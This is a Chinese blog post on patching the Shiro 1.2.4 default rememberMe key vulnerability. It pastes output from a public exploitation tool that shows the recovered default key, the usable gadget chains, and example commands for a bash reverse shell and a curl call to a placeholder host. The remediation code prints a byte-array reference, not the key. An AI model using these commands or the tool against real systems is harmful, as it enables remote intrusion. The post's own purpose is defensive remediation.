赞
踩
最近阿里云发了漏洞短信,需要在以后的老项目中修复漏洞,不同项目修复方式有所不同,特写此篇博客记录。
先说下,我们老项目用的shiro版本号是1.2.4,对应spring版本为4.x
漏洞详细报告
OK,我们了解到报告的具体内容了,那接下来,我们分析下怎么修复
下载地址和使用说明: https://github.com/wyzxxz/shiro_rce
下载地址:https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip
下载下来是这样的:
OK,我们检测下漏洞:
weidong:shiro_tool weidong$ java -jar shiro_tool.jar http://xx.xxx.xxx:18080 [-] target: http://xx.xxx.xxx:18080 [-] target is use shiro [-] start guess shiro key... [-] use shiro key: kPH+bIxk5D2deZiIxcaaaA== [-] check CommonsBeanutils1 [-] check CommonsCollections1 [-] check CommonsCollections2 [-] check CommonsCollections3 [-] check CommonsCollections4 [-] check CommonsCollections5 [-] check CommonsCollections6 [-] check CommonsCollections7 [-] check CommonsCollections8 [-] check CommonsCollections9 [-] check CommonsCollections10 [-] check Groovy1 [-] check JSON1 [-] check Spring1 [-] check Spring2 [-] check Jdk7u21 [-] check JRMPClient [-] check ROME [-] check Clojure [*] find: CommonsCollections10 can be use [*] find: JRMPClient can be use 0: CommonsCollections10 1: JRMPClient [-] please enter the number(0-1) > quit [-] please enter the number(0-1) > 0 [-] use gadget: CommonsCollections10 [*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1 , command example: curl dnslog.xxx.com [*] if need base64 command, input should startwith bash=/powershell=/python=/perl= [-] please enter command, enter q or quit to quit, enter back to re-choose gadget > 1 [-] please enter command, enter q or quit to quit, enter back to re-choose gadget > quit [-] quit
这样,我们看到了,检测到了使用默认的shiro密钥
每个项目的情况都可能不一样,所以有不同的解决办法。
现象:
说说我的这个老项目吧。
使用的是springmvc,shiro1.2.4,spring 4.2.5
去排除了下,发现shiro的配置文件中没有配置默认的密钥,就是类似这种,如下:
所以,我猜测,shiro默认的安全管理器使用了默认的shiro密钥,即使项目中开发者不配置,那么shiro也会加载。
既然开发人员没有配置,那么我们就配置下,去看了下,大多数是这么搞的。
import javax.crypto.KeyGenerator; import javax.crypto.SecretKey; import java.security.NoSuchAlgorithmException; public class GenerateCipherKey { /** * 随机生成秘钥,参考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int) * @return */ public static byte[] generateNewKey() { KeyGenerator kg; try { kg = KeyGenerator.getInstance("AES"); } catch (NoSuchAlgorithmException var5) { String msg = "Unable to acquire AES algorithm. This is required to function."; throw new IllegalStateException(msg, var5); } kg.init(128); SecretKey key = kg.generateKey(); byte[] encoded = key.getEncoded(); return encoded; } public static void main(String[] args) { System.out.print(generateNewKey()); } }
⚠️:rememberMeManager中关联的cookie,有的使用session关联的,可能就不需要在rememberMeManager中增加cookie关联。此种情况,变成这样:
在阿里云给的建议中,需要升级shiro版本1.7,但是此版本需要升级spring,这块可能会出现修改其他一些功能和代码问题。
所以,在此,我们不升级shiro,还是用老版本,只是增加密钥的管理方式,不再用默认密钥即可
至此,问题解决,希望对看见的开发者有帮助。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。